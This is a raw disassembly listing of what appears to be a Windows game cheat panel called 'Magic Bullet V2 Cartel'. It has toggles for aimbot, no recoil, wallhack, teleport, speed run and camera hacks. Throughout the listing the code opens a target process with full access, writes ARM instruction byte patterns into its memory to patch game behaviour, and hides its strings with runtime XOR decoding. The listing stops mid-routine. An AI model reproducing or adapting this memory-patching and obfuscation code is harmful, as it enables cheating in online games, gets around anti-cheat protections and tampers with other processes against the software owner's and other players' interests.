xorps xmm0, xmm0
movzx eax, word [0x140190ce8]
cmp rdi, rbx
movups xmmword [rbp + 0x280], xmm0
mov r8, rbx
mov qword [rbp + 0x290], rdi
movsd xmm0, qword [str.Username:]
cmovb r8, rdi
mov qword [rbp + 0x298], reloc.WS2_32.dll_ntohs
movsd qword [rbp + 0x280], xmm0
mov word [rbp + 0x288], ax
mov byte [rbp + 0x28a], r13b
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140054375
cmp rbx, rdi
jb 0x140054375
jbe 0x140056b64
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x1401297f4]
call fcn.140047010
lea rdx, [0x1400486f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x1405c4c6a]
lea rcx, str.Magic_Bullet_V2_Cartel
call fcn.140030af0
test al, al
je 0x1400543c4
cmp byte [0x1405c4c6a], 1
jne 0x1400543c4
lea rcx, [0x1405c4e10]
call fcn.14004bc80
lea rdx, [0x1405c4c38]
lea rcx, str.Magic_Cartel_V1
call fcn.140030af0
test al, al
je 0x140054435
cmp byte [0x1405c4c38], 1
jne 0x140054435
lea rdx, [0x14004bfe0]
lea rcx, [rbp + 0xb90]
call fcn.140046e50
mov rbx, rax
cmp dword [rax + 8], r13d
je 0x140056be8
movups xmm0, xmmword [rax]
lea rcx, [rbp + 0x110]
movaps xmmword [rbp + 0x110], xmm0
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x140056be8
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
cmp dword [rbp + 0xb98], r13d
jne 0x140051b62
xor ecx, ecx
call fcn.14000fa40
test al, al
je 0x140054456
call fcn.140007e70
lea rcx, str.Enable_in_Logo_Garena_or_Lobby
call fcn.140037db0
call fcn.14000c0d0
mov r8, qword [rbp + 0x298]
cmp r8, 0xf
jbe 0x140054476
mov rdx, qword [rbp + 0x280]
lea rcx, [rbp + 0x280]
call fcn.14004d430
mov r8, qword [rbp + 0x170]
mov qword [rbp + 0x290], r13
mov qword [rbp + 0x298], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x280], r13b
cmp r8, 0xf
jbe 0x1400544af
mov rdx, qword [rbp + 0x158]
lea rcx, [rbp + 0x158]
call fcn.14004d430
mov qword [rbp + 0x168], r13
mov qword [rbp + 0x170], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x158], r13b
call fcn.14000b520
lea rcx, [rsp + 0x60]
mov dword [rbp + 0x360], 0x43900000
mov dword [rbp + 0x364], 0x43340000
call fcn.14004a8c0
cmp byte [rax + 0xb], r13b
je 0x140054520
xor byte [rax], 0xb
xor byte [rax + 1], 0x85
xor byte [rax + 2], 0x8d
xor byte [rax + 3], 0x39
xor byte [rax + 4], 0x5d
xor byte [rax + 5], 0xaf
xor byte [rax + 6], 0xd3
xor byte [rax + 7], 0x55
xor byte [rax + 8], 0xb
xor byte [rax + 9], 0x85
xor byte [rax + 0xa], 0x8d
mov byte [rax + 0xb], r13b
xor r9d, r9d
lea rdx, [rbp + 0x360]
mov r8b, 1
mov rcx, rax
call fcn.140007760
xor ecx, ecx
call fcn.14000fa40
test al, al
je 0x140054556
call fcn.140007e70
lea rcx, str.Activar_en_Game
call fcn.140037db0
call fcn.14000c0d0
lea rdx, [0x1405c4c02]
lea rcx, str.Night_Mode
call fcn.140030af0
test al, al
je 0x140054582
cmp byte [0x1405c4c02], 1
jne 0x140054582
lea rcx, [0x1405c4e10]
call fcn.14004d920
xor ecx, ecx
call fcn.14000fa40
test al, al
je 0x1400545a3
call fcn.140007e70
lea rcx, str.Activar_en_Game
call fcn.140037db0
call fcn.14000c0d0
lea rdx, [0x1405c4c9d]
lea rcx, str.No_Recoil
call fcn.140030af0
test al, al
je 0x1400545cf
cmp byte [0x1405c4c9d], 1
jne 0x1400545cf
lea rcx, [0x1405c4e10]
call fcn.14004da30
lea rdx, [0x1405c4ca0]
lea rcx, str.V_Badge
call fcn.140030af0
test al, al
je 0x140054712
cmp byte [0x1405c4ca0], 1
jne 0x140054712
lea rcx, [0x1405c4e10]
call fcn.14004ba60
mov rdx, rax
lea rcx, [0x1405c4e10]
call fcn.14004bb10
test eax, eax
je 0x140054638
mov r8d, eax
mov dword [0x1405c4e40], eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x1405c4e48], rax
test rax, rax
jne 0x140054651
mov r8d, reloc.WS2_32.dll_listen
lea rdx, str.Panel_:_Error
lea rcx, [0x14058e558]
call fcn.140038520
mov ecx, 8
call fcn.1401223e4
mov rbx, rax
test rax, rax
je 0x140054672
mov dword [rax], 0xe3a00001
mov dword [rax + 4], 0xe12fff1e
jmp 0x140054675
mov rbx, r13
mov esi, reloc.WS2_32.dll_sendto
mov ecx, esi
call fcn.1401223e4
test rax, rax
je 0x1400546aa
mov dword [rax], 0xe92d4c70
mov dword [rax + 4], 0xe28db010
mov dword [rax + 8], 0xe1a04001
mov dword [rax + 0xc], 0xe1a05000
mov dword [rax + 0x10], 0xe3040a02
jmp 0x1400546ad
mov rax, r13
movabs rdi, 0x7fffffffffff
mov byte [rsp + 0x28], 1
mov r8, rdi
mov qword [rsp + 0x20], rbx
mov r9, rax
lea rcx, [0x1405c4e10]
xor edx, edx
call fcn.14004cb10
movzx eax, al
lea rdx, str.V_Badge_:_Successfully_applied_
mov r8d, eax
lea rcx, [0x14058e558]
shl r8, 4
add r8, 0xf
test al, al
lea rax, str.V_Badge:_Error_
cmove rdx, rax
call fcn.140038520
mov rcx, qword [0x1405c4e48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140054721
mov esi, reloc.WS2_32.dll_sendto
movabs rdi, 0x7fffffffffff
call fcn.14000b520
call fcn.14000bd20
movaps xmm1, xmm9
movaps xmm0, xmm7
call fcn.140019e20
call fcn.140007d20
lea rcx, [rsp + 0x60]
mov dword [rbp + 0x368], 0x43900000
mov dword [rbp + 0x36c], 0x434d0000
call fcn.14004a600
cmp byte [rax + 0xc], r13b
je 0x140054793
xor byte [rax], 0x25
xor byte [rax + 1], 0x2b
xor byte [rax + 2], 0xf1
xor byte [rax + 3], 0x59
xor byte [rax + 4], 0xf3
xor byte [rax + 5], 0xdb
xor byte [rax + 6], 0x73
xor byte [rax + 7], 3
xor byte [rax + 8], 0x25
xor byte [rax + 9], 0x2b
xor byte [rax + 0xa], 0xf1
xor byte [rax + 0xb], 0x59
mov byte [rax + 0xc], r13b
xor r9d, r9d
lea rdx, [rbp + 0x368]
mov r8b, 1
mov rcx, rax
call fcn.140007760
lea rdx, [0x1405c4c0b]
lea rcx, str.Aimbot_External
call fcn.140030af0
test al, al
je 0x1400547d4
cmp byte [0x1405c4c0b], 1
jne 0x1400547d4
lea rcx, [0x1405c4e10]
call fcn.14004ad70
lea rdx, [0x1405c4c2a]
lea rcx, str.Aimbot_Body
call fcn.140030af0
test al, al
je 0x1400548fe
cmp byte [0x1405c4c2a], 1
jne 0x1400548fe
lea rcx, [0x1405c4e10]
call fcn.14004ba60
mov rdx, rax
lea rcx, [0x1405c4e10]
call fcn.14004bb10
test eax, eax
je 0x14005483d
mov r8d, eax
mov dword [0x1405c4e40], eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x1405c4e48], rax
test rax, rax
jne 0x140054856
mov r8d, reloc.WS2_32.dll_listen
lea rdx, str.Panel_:_Error
lea rcx, [0x14058e558]
call fcn.140038520
mov ecx, recv
call fcn.1401223e4
mov rbx, rax
test rax, rax
je 0x14005487e
mov dword [rax], 0x3e000000
mov dword [rax + 4], 0x3d23d70a
mov dword [rax + 8], 0xbcf9a5d2
jmp 0x140054881
mov rbx, r13
mov ecx, recv
call fcn.1401223e4
test rax, rax
je 0x1400548a6
mov dword [rax], 0xbd3952dc
mov dword [rax + 4], 0x3c8bc127
mov dword [rax + 8], 0xb9f8d0c0
jmp 0x1400548a9
mov rax, r13
mov byte [rsp + 0x28], 1
lea rcx, [0x1405c4e10]
mov r9, rax
mov qword [rsp + 0x20], rbx
mov r8, rdi
xor edx, edx
call fcn.14004cb10
test al, al
lea rdx, str.Aimbot_Body_:_Successfully_applied_
lea rax, str.Aimbot_Body_:_Error_
mov r8d, reloc.WLDAP32.dll_Ordinal_35
cmove r8, rsi
lea rcx, [0x14058e558]
cmove rdx, rax
call fcn.140038520
mov rcx, qword [0x1405c4e48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [0x1405c4c29]
lea rcx, str.Aim_Scope2X
call fcn.140030af0
test al, al
je 0x140054a1f
cmp byte [0x1405c4c29], 1
jne 0x140054a1f
lea rcx, [0x1405c4e10]
call fcn.14004ba60
mov rdx, rax
lea rcx, [0x1405c4e10]
call fcn.14004bb10
test eax, eax
je 0x140054967
mov r8d, eax
mov dword [0x1405c4e40], eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x1405c4e48], rax
test rax, rax
jne 0x140054980
mov r8d, reloc.WS2_32.dll_listen
lea rdx, str.Panel_:_Error
lea rcx, [0x14058e558]
call fcn.140038520
mov ecx, 8
call fcn.1401223e4
mov rbx, rax
test rax, rax
je 0x1400549a1
mov dword [rax], 0x3ff00000
mov dword [rax + 4], 0x5c29ffff
jmp 0x1400549a4
mov rbx, r13
mov ecx, 8
call fcn.1401223e4
test rax, rax
je 0x1400549c2
mov dword [rax], 0x3ff00000
mov dword [rax + 4], 0x3f800000
jmp 0x1400549c5
mov rax, r13
mov byte [rsp + 0x28], 1
lea rcx, [0x1405c4e10]
mov r9, rax
mov qword [rsp + 0x20], rbx
mov r8, rdi
xor edx, edx
call fcn.14004cb10
test al, al
lea rdx, str.Aimbot_Scope_:_Successfully_applied_
mov ecx, reloc.WS2_32.dll_recvfrom
lea rax, str.Scope_2X_:_Error_
mov r8d, Ordinal_41
cmove rdx, rax
cmove r8d, ecx
lea rcx, [0x14058e558]
call fcn.140038520
mov rcx, qword [0x1405c4e48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.14000b520
lea rcx, [rsp + 0x60]
mov dword [rbp + 0x370], 0x43900000
mov dword [rbp + 0x374], 0x438c0000
call fcn.14004a3a0
cmp byte [rax + 0xa], r13b
je 0x140054a73
xor byte [rax], 0x2b
xor byte [rax + 1], 0xe5
xor byte [rax + 2], 0xcd
xor byte [rax + 3], 0x21
xor byte [rax + 4], 0xbf
xor byte [rax + 5], 0x53
xor byte [rax + 6], 0x1b
xor byte [rax + 7], 0x9f
xor byte [rax + 8], 0x2b
xor byte [rax + 9], 0xe5
mov byte [rax + 0xa], r13b
xor r9d, r9d
lea rdx, [rbp + 0x370]
mov r8b, 1
mov rcx, rax
call fcn.140007760
lea rdx, [0x1405c4c90]
lea rcx, str.Scope_Awm_New
call fcn.140030af0
test al, al
je 0x140054bc8
cmp byte [0x1405c4c90], 1
jne 0x140054bc8
lea rcx, [0x1405c4e10]
call fcn.14004ba60
mov rdx, rax
lea rcx, [0x1405c4e10]
call fcn.14004bb10
test eax, eax
je 0x140054af1
mov r8d, eax
mov dword [0x1405c4e40], eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x1405c4e48], rax
test rax, rax
jne 0x140054b0a
mov r8d, reloc.WS2_32.dll_listen
lea rdx, str.Panel_:_Error
lea rcx, [0x14058e558]
call fcn.140038520
mov rcx, rsi
call fcn.1401223e4
mov rbx, rax
test rax, rax
je 0x140054b3e
mov dword [rax], 0xffffb1e0
mov dword [rax + 4], 0xffffb1e0
mov dword [rax + 8], 0xffffb1e0
mov dword [rax + 0xc], 0xffffb1e0
mov dword [rax + 0x10], 0xffffb1e0
jmp 0x140054b41
mov rbx, r13
mov rcx, rsi
call fcn.1401223e4
test rax, rax
je 0x140054b6c
mov dword [rax], 0x3f8ccccd
mov dword [rax + 4], 0x3cf5c28f
mov dword [rax + 8], 0x3dcccccd
mov qword [rax + 0xc], 7
jmp 0x140054b6f
mov rax, r13
mov byte [rsp + 0x28], 1
lea rcx, [0x1405c4e10]
mov r9, rax
mov qword [rsp + 0x20], rbx
mov r8, rdi
xor edx, edx
call fcn.14004cb10
movzx eax, al
lea rdx, str.Scope_Awm_:_Successfully_applied_
mov r8d, eax
lea rcx, [0x14058e558]
shl r8, 4
add r8, 0x11
test al, al
lea rax, str.Tiro_AWM_:_Error_
cmove rdx, rax
call fcn.140038520
mov rcx, qword [0x1405c4e48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call fcn.14000fa40
test al, al
je 0x140054be9
call fcn.140007e70
lea rcx, str.Activar_en_Game
call fcn.140037db0
call fcn.14000c0d0
lea rdx, [0x1405c4c57]
lea rcx, str.Aim_Awm
call fcn.140030af0
test al, al
je 0x140054c15
cmp byte [0x1405c4c57], 1
jne 0x140054c15
lea rcx, [0x1405c4e10]
call fcn.14004ac20
xor ecx, ecx
call fcn.14000fa40
test al, al
je 0x140054c36
call fcn.140007e70
lea rcx, str.Activar_en_Game
call fcn.140037db0
call fcn.14000c0d0
lea rdx, [0x1405c4bf0]
lea rcx, str.Quick_Switch_AWM
call fcn.140030af0
test al, al
je 0x140054c62
cmp byte [0x1405c4bf0], 1
jne 0x140054c62
lea rcx, [0x1405c4e10]
call fcn.14004c1f0
lea rdx, [0x1405c4bf1]
lea rcx, str.Ultra_Quick_Switch
call fcn.140030af0
test al, al
je 0x140054cd3
cmp byte [0x1405c4bf1], 1
jne 0x140054cd3
lea rdx, [0x14004f610]
lea rcx, [rbp + 0xbb8]
call fcn.140046e50
mov rbx, rax
cmp dword [rax + 8], r13d
je 0x140056be8
movups xmm0, xmmword [rax]
lea rcx, [rbp + 0x110]
movaps xmmword [rbp + 0x110], xmm0
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x140056be8
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
cmp dword [rbp + 0xbc0], r13d
jne 0x140051b62
call fcn.14000b520
call fcn.14000bd20
mov eax, dword [0x1405c4cf4]
jmp 0x140054ce8
xor r13d, r13d
cmp eax, 2
jne 0x140055752
call fcn.140007d20
mov rax, qword gs:[0x58]
mov dword [rbp + 0x378], 0x43900000
mov dword [rbp + 0x37c], 0x430c0000
mov r8d, 0x248
mov rdx, qword [rax + r12*8]
mov eax, 0x258
mov ecx, eax
mov ebx, r8d
mov eax, dword [rax + rdx]
test al, 1
jne 0x140054d68
mov word [r8 + rdx + 0xd], 0x19f
or eax, 1
mov dword [r8 + rdx], 0xaa254468
mov dword [r8 + rdx + 4], 0x907ed335
mov dword [rcx + rdx], eax
lea rcx, [0x1401261b0]
mov dword [r8 + rdx + 8], 0xb0225544
mov byte [r8 + rdx + 0xc], 0x7b
call fcn.140122494
mov rax, qword gs:[0x58]
mov rcx, qword [rax + r12*8]
add rcx, rbx
cmp byte [rcx + 0xe], 0
je 0x140054db9
xor byte [rcx], 0x25
xor byte [rcx + 1], 0x21
xor byte [rcx + 2], 0x4b
xor byte [rcx + 3], 0xdf
xor byte [rcx + 4], 0x15
xor byte [rcx + 5], 0x9f
xor byte [rcx + 6], 0x11
xor byte [rcx + 7], 0xf3
xor byte [rcx + 8], 0x25
xor byte [rcx + 9], 0x21
xor byte [rcx + 0xa], 0x4b
xor byte [rcx + 0xb], 0xdf
xor byte [rcx + 0xc], 0x15
xor byte [rcx + 0xd], 0x9f
mov byte [rcx + 0xe], 0
xor r9d, r9d
lea rdx, [rbp + 0x378]
mov r8b, 1
call fcn.140007760
lea rdx, [0x1405c4bfd]
lea rcx, str.Chams_CartelX
call fcn.140030af0
test al, al
je 0x140054df0
cmp byte [0x1405c4bfd], 0
je 0x140054df0
call fcn.14004b580
lea rdx, [0x1405c4bed]
lea rcx, str.Antenna_Cabeza
call fcn.140030af0
test al, al
je 0x140054e60
cmp byte [0x1405c4bed], 0
je 0x140054e60
lea rdx, [0x14004b3c0]
lea rcx, [rbp + 0xbc8]
call fcn.140046e50
mov rbx, rax
cmp dword [rax + 8], 0
je 0x140056be8
movups xmm0, xmmword [rax]
lea rcx, [rbp + 0x110]
movaps xmmword [rbp + 0x110], xmm0
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x140056be8
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
cmp dword [rbp + 0xbd0], eax
jne 0x140051b62
lea rdx, [0x1405c4bec]
lea rcx, str.Antenna_Hombro_V2
call fcn.140030af0
test al, al
je 0x140054ed0
cmp byte [0x1405c4bec], 1
jne 0x140054ed0
lea rdx, [0x14004af40]
lea rcx, [rbp + 0xbd8]
call fcn.140046e50
mov rbx, rax
cmp dword [rax + 8], 0
je 0x140056be8
movups xmm0, xmmword [rax]
lea rcx, [rbp + 0x110]
movaps xmmword [rbp + 0x110], xmm0
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x140056be8
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
cmp dword [rbp + 0xbe0], eax
jne 0x140051b62
call fcn.14000b520
mov rax, qword gs:[0x58]
mov dword [rbp + 0x380], 0x43900000
mov dword [rbp + 0x384], 0x43870000
mov r8d, 0x260
mov rdx, qword [rax + r12*8]
mov eax, 0x270
mov ecx, eax
mov ebx, r8d
mov eax, dword [rax + rdx]
test al, 1
jne 0x140054f46
mov word [r8 + rdx + 0xb], 0x1bf
or eax, 1
mov dword [r8 + rdx], 0xcac3f436
mov dword [r8 + rdx + 4], 0xec0cd4c5
mov dword [rcx + rdx], eax
lea rcx, [0x140126490]
mov word [r8 + rdx + 8], 0xe31e
mov byte [r8 + rdx + 0xa], 0xcc
call fcn.140122494
mov rax, qword gs:[0x58]
mov rcx, qword [rax + r12*8]
add rcx, rbx
cmp byte [rcx + 0xc], 0
je 0x140054f8f
xor byte [rcx], 0x7b
xor byte [rcx + 1], 0x91
xor byte [rcx + 2], 0xad
xor byte [rcx + 3], 0xbf
xor byte [rcx + 4], 0xe5
xor byte [rcx + 5], 0x97
xor byte [rcx + 6], 0x6d
xor byte [rcx + 7], 0x81
xor byte [rcx + 8], 0x7b
xor byte [rcx + 9], 0x91
xor byte [rcx + 0xa], 0xad
xor byte [rcx + 0xb], 0xbf
mov byte [rcx + 0xc], 0
xor r9d, r9d
lea rdx, [rbp + 0x380]
mov r8b, 1
call fcn.140007760
lea rdx, [0x1405c4c96]
lea rcx, str.ByPass_Camera_Hack
call fcn.140030af0
test al, al
je 0x140055102
cmp byte [0x1405c4c96], 1
jne 0x140055102
lea rcx, [0x1405c4e10]
call fcn.14004ba60
mov rdx, rax
lea rcx, [0x1405c4e10]
call fcn.14004bb10
test eax, eax
je 0x14005500a
mov r8d, eax
mov dword [0x1405c4e40], eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x1405c4e48], rax
test rax, rax
jne 0x140055023
mov r8d, reloc.WS2_32.dll_listen
lea rdx, str.Panel_:_Error
lea rcx, [0x14058e558]
call fcn.140038520
mov ecx, 4
call fcn.1401223e4
mov rbx, rax
test rax, rax
je 0x14005503d
mov dword [rax], 0xf020e3
jmp 0x140055040
mov rbx, r13
mov ecx, Ordinal_41
call fcn.1401223e4
test rax, rax
je 0x140055099
mov dword [rax], 0xe12fff34
mov dword [rax + 4], 0xe1a00009
mov dword [rax + 8], 0xebfed77e
mov dword [rax + 0xc], 0xe1a06000
mov dword [rax + 0x10], 0xe3560000
mov dword [rax + 0x14], 0xa0000bd
mov dword [rax + 0x18], 0xe59f0fc0
mov dword [rax + 0x1c], 0xe79f0000
mov dword [rax + 0x20], 0xe5901000
mov word [rax + 0x24], 0
mov byte [rax + 0x26], __WSAFDIsSet
jmp 0x14005509c
mov rax, r13
movabs rdi, 0x7fffffffffff
mov byte [rsp + 0x28], 1
mov r8, rdi
mov qword [rsp + 0x20], rbx
mov r9, rax
lea rcx, [0x1405c4e10]
xor edx, edx
call fcn.14004cb10
test al, al
lea rdx, str.Bypass_Camera_:_Successfully_applied_
mov ecx, reloc.WLDAP32.dll_Ordinal_22
lea rax, str.Bypass_Camera_:_Error_
mov r8d, Ordinal_41
cmove rdx, rax
cmove r8d, ecx
lea rcx, [0x14058e558]
call fcn.140038520
mov rcx, qword [0x1405c4e48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14005510c
movabs rdi, 0x7fffffffffff
lea rdx, [0x1405c4c30]
lea rcx, str.Camera_Hack_Ultimate
call fcn.140030af0
test al, al
je 0x14005517c
cmp byte [0x1405c4c30], 1
jne 0x14005517c
lea rdx, [0x14004dc90]
lea rcx, [rbp + 0xbe8]
call fcn.140046e50
mov rbx, rax
cmp dword [rax + 8], 0
je 0x140056be8
movups xmm0, xmmword [rax]
lea rcx, [rbp + 0x110]
movaps xmmword [rbp + 0x110], xmm0
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x140056be8
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
cmp dword [rbp + 0xbf0], eax
jne 0x140051b62
lea rdx, [0x1405c4c9a]
lea rcx, str.Camera_FOV
call fcn.140030af0
test al, al
je 0x1400551ec
cmp byte [0x1405c4c9a], 1
jne 0x1400551ec
lea rdx, [0x14004dc30]
lea rcx, [rbp + 0xbf8]
call fcn.140046e50
mov rbx, rax
cmp dword [rax + 8], 0
je 0x140056be8
movups xmm0, xmmword [rax]
lea rcx, [rbp + 0x110]
movaps xmmword [rbp + 0x110], xmm0
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x140056be8
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
cmp dword [rbp + 0xc00], eax
jne 0x140051b62
lea rdx, [0x1405c4bfe]
lea rcx, str.Remove_Bug_Camera
call fcn.140030af0
test al, al
je 0x140055329
cmp byte [0x1405c4bfe], 1
jne 0x140055329
lea rcx, [0x1405c4e10]
call fcn.14004ba60
mov rdx, rax
lea rcx, [0x1405c4e10]
call fcn.14004bb10
test eax, eax
je 0x140055255
mov r8d, eax
mov dword [0x1405c4e40], eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x1405c4e48], rax
test rax, rax
jne 0x14005526e
mov r8d, reloc.WS2_32.dll_listen
lea rdx, str.Panel_:_Error
lea rcx, [0x14058e558]
call fcn.140038520
mov ecx, reloc.WS2_32.dll_recv
call fcn.1401223e4
mov rbx, rax
test rax, rax
je 0x14005529d
mov dword [rax], 0
mov dword [rax + 4], 1
mov dword [rax + 8], 0x42340000
mov dword [rax + 0xc], 0x3e99999a
jmp 0x1400552a0
mov rbx, r13
mov ecx, reloc.WS2_32.dll_recv
call fcn.1401223e4
test rax, rax
je 0x1400552cc
mov dword [rax], 0x3fc00000
mov dword [rax + 4], 1
mov dword [rax + 8], 0x42340000
mov dword [rax + 0xc], 0x3e99999a
jmp 0x1400552cf
mov rax, r13
mov byte [rsp + 0x28], 1
lea rcx, [0x1405c4e10]
mov r9, rax
mov qword [rsp + 0x20], rbx
mov r8, rdi
xor edx, edx
call fcn.14004cb10
test al, al
lea rdx, str.Remove_Bug_:_Successfully_applied_
mov ecx, reloc.WS2_32.dll_send
lea rax, str.Remove_Bug_:_Error_
mov r8d, Ordinal_35
cmove rdx, rax
cmove r8d, ecx
lea rcx, [0x14058e558]
call fcn.140038520
mov rcx, qword [0x1405c4e48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [0x1405c4c59]
lea rcx, str.Camera_Premium
call fcn.140030af0
test al, al
je 0x140055399
cmp byte [0x1405c4c59], 1
jne 0x140055399
lea rdx, [0x14004b420]
lea rcx, [rbp + 0xc08]
call fcn.140046e50
mov rbx, rax
cmp dword [rax + 8], 0
je 0x140056be8
movups xmm0, xmmword [rax]
lea rcx, [rbp + 0x110]
movaps xmmword [rbp + 0x110], xmm0
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x140056be8
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
cmp dword [rbp + 0xc10], eax
jne 0x140051b62
call fcn.14000b520
call fcn.14000bd20
movaps xmm1, xmm9
movaps xmm0, xmm7
call fcn.140019e20
call fcn.140007d20
mov rax, qword gs:[0x58]
mov dword [rbp + 0x388], 0x43900000
mov dword [rbp + 0x38c], 0x43340000
mov r8d, 0x278
mov rdx, qword [rax + r12*8]
mov eax, 0x284
mov ecx, eax
mov ebx, r8d
mov eax, dword [rax + rdx]
test al, 1
jne 0x140055417
mov dword [r8 + rdx + 6], 0x199cd32
or eax, 1
mov dword [rcx + rdx], eax
lea rcx, [0x140126310]
mov dword [r8 + rdx], 0xba8358d4
mov word [r8 + rdx + 4], 0xfbab
call fcn.140122494
mov rax, qword gs:[0x58]
mov rcx, qword [rax + r12*8]
add rcx, rbx
cmp byte [rcx + 9], 0
je 0x140055454
xor byte [rcx], 0x99
xor byte [rcx + 1], 0x3d
xor byte [rcx + 2], 0xed
xor byte [rcx + 3], 0xcf
xor byte [rcx + 4], 0x8b
xor byte [rcx + 5], 0xb3
xor byte [rcx + 6], 0x53
xor byte [rcx + 7], 0xb5
xor byte [rcx + 8], 0x99
mov byte [rcx + 9], 0
xor r9d, r9d
lea rdx, [rbp + 0x388]
mov r8b, 1
call fcn.140007760
lea rdx, [0x1405c4c92]
lea rcx, str.Fast_Fire___Sew
call fcn.140030af0
test al, al
je 0x140055492
cmp byte [0x1405c4c92], 1
jne 0x140055492
lea rcx, [0x1405c4e10]
call fcn.14004e9f0
lea rdx, [0x1405c4bf2]
lea rcx, str.Unlimit_Weapon
call fcn.140030af0
test al, al
je 0x1400554be
cmp byte [0x1405c4bf2], 1
jne 0x1400554be
lea rcx, [0x1405c4e10]
call fcn.14004d120
lea rdx, [0x1405c4c5d]
lea rcx, str.Fast_Reload
call fcn.140030af0
test al, al
je 0x140055609
cmp byte [0x1405c4c5d], 1
jne 0x140055609
lea rcx, [0x1405c4e10]
call fcn.14004ba60
mov rdx, rax
lea rcx, [0x1405c4e10]
call fcn.14004bb10
test eax, eax
je 0x140055527
mov r8d, eax
mov dword [0x1405c4e40], eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x1405c4e48], rax
test rax, rax
jne 0x140055540
mov r8d, reloc.WS2_32.dll_listen
lea rdx, str.Panel_:_Error
lea rcx, [0x14058e558]
call fcn.140038520
mov ecx, 4
call fcn.1401223e4
mov rbx, rax
test rax, rax
je 0x14005555a
mov dword [rax], 0xe34402ff
jmp 0x14005555d
mov rbx, r13
mov ecx, 0x24
call fcn.1401223e4
test rax, rax
je 0x1400555ac
mov dword [rax], 0xeb000066
mov dword [rax + 4], 0xeeb70a00
mov dword [rax + 8], 0xee010a10
mov dword [rax + 0xc], 0xee310a00
mov dword [rax + 0x10], 0xee015a10
mov dword [rax + 0x14], 0xee210a00
mov dword [rax + 0x18], 0xee100a10
mov dword [rax + 0x1c], 0xe8bd8830
mov dword [rax + 0x20], 0xe92d48f0
jmp 0x1400555af
mov rax, r13
mov byte [rsp + 0x28], 1
lea rcx, [0x1405c4e10]
mov r9, rax
mov qword [rsp + 0x20], rbx
mov r8, rdi
xor edx, edx
call fcn.14004cb10
test al, al
lea rdx, str.Fast_Reload_:_Successfully_applied_
mov ecx, reloc.WS2_32.dll_sendto
lea rax, str.Fast_Reload_:_Error_
mov r8d, reloc.WLDAP32.dll_Ordinal_35
cmove rdx, rax
cmove r8d, ecx
lea rcx, [0x14058e558]
call fcn.140038520
mov rcx, qword [0x1405c4e48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.14000b520
mov rax, qword gs:[0x58]
mov dword [rbp + 0x390], 0x43900000
mov dword [rbp + 0x394], 0x437a0000
mov r8d, 0x288
mov rdx, qword [rax + r12*8]
mov eax, 0x298
mov ecx, eax
mov ebx, r8d
mov eax, dword [rax + rdx]
test al, 1
jne 0x14005567f
mov word [r8 + rdx + 0xb], 0x101
or eax, 1
mov dword [r8 + rdx], 0x747b3ccc
mov dword [r8 + rdx + 4], 0x88e4fad1
mov dword [rcx + rdx], eax
lea rcx, [0x1401263c0]
mov word [r8 + rdx + 8], 0x30e3
mov byte [r8 + rdx + 0xa], 0x7b
call fcn.140122494
mov rax, qword gs:[0x58]
mov rcx, qword [rax + r12*8]
add rcx, rbx
cmp byte [rcx + 0xc], 0
je 0x1400556c8
xor byte [rcx], 0x81
xor byte [rcx + 1], 0x59
xor byte [rcx + 2], 0x15
xor byte [rcx + 3], 1
xor byte [rcx + 4], 0xf1
xor byte [rcx + 5], 0xb1
xor byte [rcx + 6], 0x81
xor byte [rcx + 7], 0xf1
xor byte [rcx + 8], 0x81
xor byte [rcx + 9], 0x59
xor byte [rcx + 0xa], 0x15
xor byte [rcx + 0xb], 1
mov byte [rcx + 0xc], 0
xor r9d, r9d
lea rdx, [rbp + 0x390]
mov r8b, 1
call fcn.140007760
lea r8, [0x1405c5260]
lea rdx, [0x1405c4c1c]
lea rcx, str.WallHack_Safe
call fcn.1400350d0
lea r8, [0x1405c5260]
lea rdx, [0x1405c4c0c]
lea rcx, str.Teleport_X
call fcn.1400350d0
lea r8, [0x1405c5260]
lea rdx, [0x1405c4c14]
lea rcx, str.Speed_Run
call fcn.1400350d0
lea r8, [0x1405c5260]
lea rdx, [0x1405c4c10]
